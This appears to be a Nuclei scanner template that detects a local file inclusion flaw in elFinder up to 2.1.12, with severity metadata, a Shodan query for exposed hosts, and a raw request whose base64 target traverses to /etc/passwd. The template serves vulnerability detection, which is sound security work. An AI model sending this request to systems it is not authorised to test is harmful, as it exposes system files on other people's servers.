elFinder-path-traversal: elFinder <=2.1.12 - Local File Inclusion

id: elFinder-path-traversal

info:
  name: elFinder  <=2.1.12 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    elFinder through 2.1.12 is vulnerable to local file inclusion via Connector.minimal.php in std42. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
  reference:
    - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"elfinder"
    product: elfinder
    vendor: std42
  tags: lfi,elfinder,vuln

http:
  - raw:
      - |
        GET /php/connector.minimal.php?cmd=file&target=l1_Li8vLi4vLy4uLy8uLi8vLi4vLy4uLy8uLi9ldGMvcGFzc3dk&download=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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